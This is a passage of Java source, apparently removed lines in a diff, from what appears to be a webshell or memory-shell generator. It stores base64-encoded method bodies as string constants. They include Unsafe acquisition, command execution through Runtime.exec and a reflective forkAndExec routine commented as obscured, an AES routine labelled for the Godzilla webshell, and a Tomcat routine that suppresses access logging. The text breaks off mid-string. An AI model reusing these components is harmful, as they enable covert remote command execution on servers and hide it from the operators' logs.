"CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; - - // getMethodAndInvoke native 版 - public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ=="; - - // getMethodAndInvoke - public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; - - // getMethodByClass - public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0="; - - // getFieldValue - public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9"; - - // getUnsafe - public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; - - // base64Decode - public static String BASE64_DECODE_STRING_TO_BYTE = "cHVibGljIHN0YXRpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlieXRlW10gdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXREZWNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKGJ5dGVbXSkgZGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSkuaW52b2tlKGRlY29kZXIsIG5ldyBPYmplY3RbXXtic30pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXRyeSB7CgkJCQliYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkJCQlPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlMikgewoJCQl9CgkJfQoJCXJldHVybiB2YWx1ZTsKCX0"; - - // base64Encode - public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IEVuY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXRFbmNvZGVyIiwgbnVsbCkuaW52b2tlKGJhc2U2NCwgbnVsbCk7CgkJCXZhbHVlID0gKFN0cmluZykgRW5jb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZW5jb2RlVG9TdHJpbmciLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJdHJ5IHsKCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NEVuY29kZXIiKTsKCQkJCU9iamVjdCBFbmNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQl2YWx1ZSA9IChTdHJpbmcpIEVuY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImVuY29kZSIsIG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzc30pLmludm9rZShFbmNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0KCQlyZXR1cm4gdmFsdWU7Cgl9"; - - // MD5 - public static String MD5 = "CXB1YmxpYyBzdGF0aWMgU3RyaW5nIG1kNShTdHJpbmcgcykgewoJCVN0cmluZyByZXQgPSBudWxsOwoJCXRyeSB7CgkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtOwoJCQltID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJbS51cGRhdGUocy5nZXRCeXRlcygpLCAwLCBzLmxlbmd0aCgpKTsKCQkJcmV0ID0gbmV3IGphdmEubWF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9"; - - // 哥斯拉 AES 方法 x(需要 Field xc) - public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ=="; - - // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe - public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlTdHJpbmdCdWlsZGVyIHNiICAgICAgICAgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgaGFuZGxlID0gIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiY3JlYXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgbG9uZ1tdLmNsYXNzLCBib29sZWFuLmNsYXNzfSwgbmV3IE9iamVjdFtde3NiLnRvU3RyaW5nKCkudHJpbSgpLCBudWxsLCBudWxsLCBzdGRIYW5kbGVzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkICA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkLnNldChwcm9jZXNzT2JqZWN0LCBoYW5kbGUpOwoJCQkJCWphdmEuaW8uRmlsZURlc2NyaXB0b3Igc3Rkb3V0X2ZkID0gbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKTsKCQkJCQlnZXRNZXRob2RBbmRJbnZva2UoZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiZmRBY2Nlc3MiKSwgInNldEhhbmRsZSIsIG5ldyBDbGFzc1tde2phdmEuaW8uRmlsZURlc2NyaXB0b3IuY2xhc3MsIE9iamVjdC5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0LkZpZWxkIGZpZWxkMiA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJzdGRvdXRfc3RyZWFtIik7CgkJCQkJZmllbGQyLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJZmllbGQyLnNldChwcm9jZXNzT2JqZWN0LCBuZXcgamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtKG5ldyBqYXZhLmlvLkZpbGVJbnB1dFN0cmVhbShzdGRvdXRfZmQpKSk7CgkJCQl9IGVsc2UgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117Ii9iaW4vYmFzaCIsICItYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlVOSVhQcm9jZXNzIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJYnl0ZVtdW10gYXJncyA9IG5ldyBieXRlW2NtZHMubGVuZ3RoIC0gMV1bXTsKCQkJCQlpbnQgICAgICBzaXplID0gYXJncy5sZW5ndGg7CgkJCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcmdzLmxlbmd0aDsgaSsrKSB7CgkJCQkJCWFyZ3NbaV0gPSBjbWRzW2kgKyAxXS5nZXRCeXRlcygpOwoJCQkJCQlzaXplICs9IGFyZ3NbaV0ubGVuZ3RoOwoJCQkJCX0KCQkJCQlieXRlW10gYXJnQmxvY2sgPSBuZXcgYnl0ZVtzaXplXTsKCQkJCQlpbnQgICAgaSAgICAgICAgPSAwOwoJCQkJCWZvciAoaW50IGkxID0gMDsgaTEgPCBhcmdzLmxlbmd0aDsgaTErKykgewoJCQkJCQlTeXN0ZW0uYXJyYXljb3B5KGFyZ3NbaTFdLCAwLCBhcmdCbG9jaywgaSwgYXJnc1tpMV0ubGVuZ3RoKTsKCQkJCQkJaSArPSBhcmdzW2kxXS5sZW5ndGggKyAxOwoJCQkJCX0KCQkJCQlpbnRbXSAgc3RkX2ZkcyAgICAgICAgICAgICAgID0gbmV3IGludFtdey0xLCAtMSwgLTF9OwoJCQkJCU9iamVjdCBsYXVuY2hNZWNoYW5pc21PYmplY3QgPSBnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJsYXVuY2hNZWNoYW5pc20iKTsKCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCWludCAgICBvcmRpbmFsICAgICAgICAgICAgICAgPSBqYXZhLmxhbmcuSW50ZWdlci5wYXJzZUludChnZXRNZXRob2RBbmRJbnZva2UobGF1bmNoTWVjaGFuaXNtT2JqZWN0LCAib3JkaW5hbCIsIG51bGwsIG51bGwpLnRvU3RyaW5nKCkpOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZm9ya0FuZEV4ZWMiLCBuZXcgQ2xhc3NbXXtpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50W10uY2xhc3MsIGJvb2xlYW4uY2xhc3N9LCBuZXcgT2JqZWN0W117SW50ZWdlci52YWx1ZU9mKG9yZGluYWwgKyAxKSwgaGVscGVycGF0aE9iamVjdCwgdG9DU3RyaW5nKGNtZHNbMF0pLCBhcmdCbG9jaywgSW50ZWdlci52YWx1ZU9mKGFyZ3MubGVuZ3RoKSwgbnVsbCwgSW50ZWdlci52YWx1ZU9mKDEpLCBudWxsLCBzdGRfZmRzLCBqYXZhLmxhbmcuQm9vbGVhbi5GQUxTRX0pOwoJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQl9CgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gKGphdmEuaW8uSW5wdXRTdHJlYW0pIGdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiZ2V0SW5wdXRTdHJlYW0iLCBudWxsLCBudWxsKTsKCQkJCWludCAgICAgICAgICAgICAgICAgYSAgPSAwOwoJCQkJYnl0ZVtdICAgICAgICAgICAgICBiICA9IG5ldyBieXRlWzEwMjRdOwoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoJCQkJcmV0dXJuIGJhb3M7CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; - - // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() - public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; - - // Tomcat NO LOG 方法,需要 getFieldValue getMethodByClass getMethodAndInvoke - public static String TOMCAT_NO_LOG = "cHVibGljIHZvaWQgbm9Mb2coT2JqZWN0IHJlcU9iaikgewoJCXRyeSB7CgkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbkNvbnRleHQgPSBnZXRGaWVsZFZhbHVlKGdldE1ldGhvZEFuZEludm9rZShyZXFPYmosICJnZXRTZXJ2bGV0Q29udGV4dCIsIG51bGwsIG51bGwpLCAiY29udGV4dCIpOwoJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmVyICAgICAgICAgID0gZ2V0RmllbGRWYWx1ZShhcHBsaWNhdGlvbkNvbnRleHQsICJjb250ZXh0Iik7CgkJCWphdmEudXRpbC5BcnJheUxpc3QgYXJyYXlMaXN0ICAgICAgICAgID0gbmV3IGphdmEudXRpbC5BcnJheUxpc3QoKTsKCQkJd2hpbGUgKGNvbnRhaW5lciAhPSBudWxsKSB7CgkJCQlhcnJheUxpc3QuYWRkKGNvbnRhaW5lcik7CgkJCQljb250YWluZXIgPSBnZXRNZXRob2RBbmRJbnZva2UoY29udGFpbmVyLCAiZ2V0UGFyZW50IiwgbnVsbCwgbnVsbCk7CgkJCX0KCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcnJheUxpc3Quc2l6ZSgpOyBpKyspIHsKCQkJCXRyeSB7CgkJCQkJT2JqZWN0IHBpcGVsaW5lID0gZ2V0TWV0aG9kQW5kSW52b2tlKGFycmF5TGlzdC5nZXQoaSksICJnZXRQaXBlbGluZSIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChwaXBlbGluZSAhPSBudWxsKSB7CgkJCQkJCU9iamVjdCB2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZShwaXBlbGluZSwgImdldEZpcnN0IiwgbnVsbCwgbnVsbCk7CgkJCQkJCXdoaWxlICh2YWx2ZSAhPSBudWxsKSB7CgkJCQkJCQlpZiAoZ2V0TWV0aG9kQnlDbGFzcyh2YWx2ZS5nZXRDbGFzcygpLCAiZ2V0Q29uZGl0aW9uIiwgbnVsbCkgIT0gbnVsbCAmJiBnZXRNZXRob2RCeUNsYXNzKHZhbHZlLmdldENsYXNzKCksICJzZXRDb25kaXRpb24iLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KSAhPSBudWxsKSB7CgkJCQkJCQkJU3RyaW5nIGNvbmRpdGlvbiA9IChTdHJpbmcpIGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldENvbmRpdGlvbiIsIG51bGwsIG51bGwpOwoJCQkJCQkJCWNvbmRpdGlvbiA9IChjb25kaXRpb24gPT0gbnVsbCkgPyAiV2hhdGV2ZXIiIDogY29uZGl0aW9uOwoJCQkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgInNldENvbmRpdGlvbiIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtjb25kaXRpb259KTsKCQkJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocmVxT2JqLCAic2V0QXR0cmlidXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117Y29uZGl0aW9uLCBjb25kaXRpb259KTsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCWlmIChDbGFzcy5mb3JOYW1lKCJvcmcuYXBhY2hlLmNhdGFsaW5hLlZhbHZlIiwgZmFsc2UsIGFwcGxpY2F0aW9uQ29udGV4dC5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmlzQXNzaWduYWJsZUZyb20odmFsdmUuZ2V0Q2xhc3MoKSkpIHsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCXZhbHZ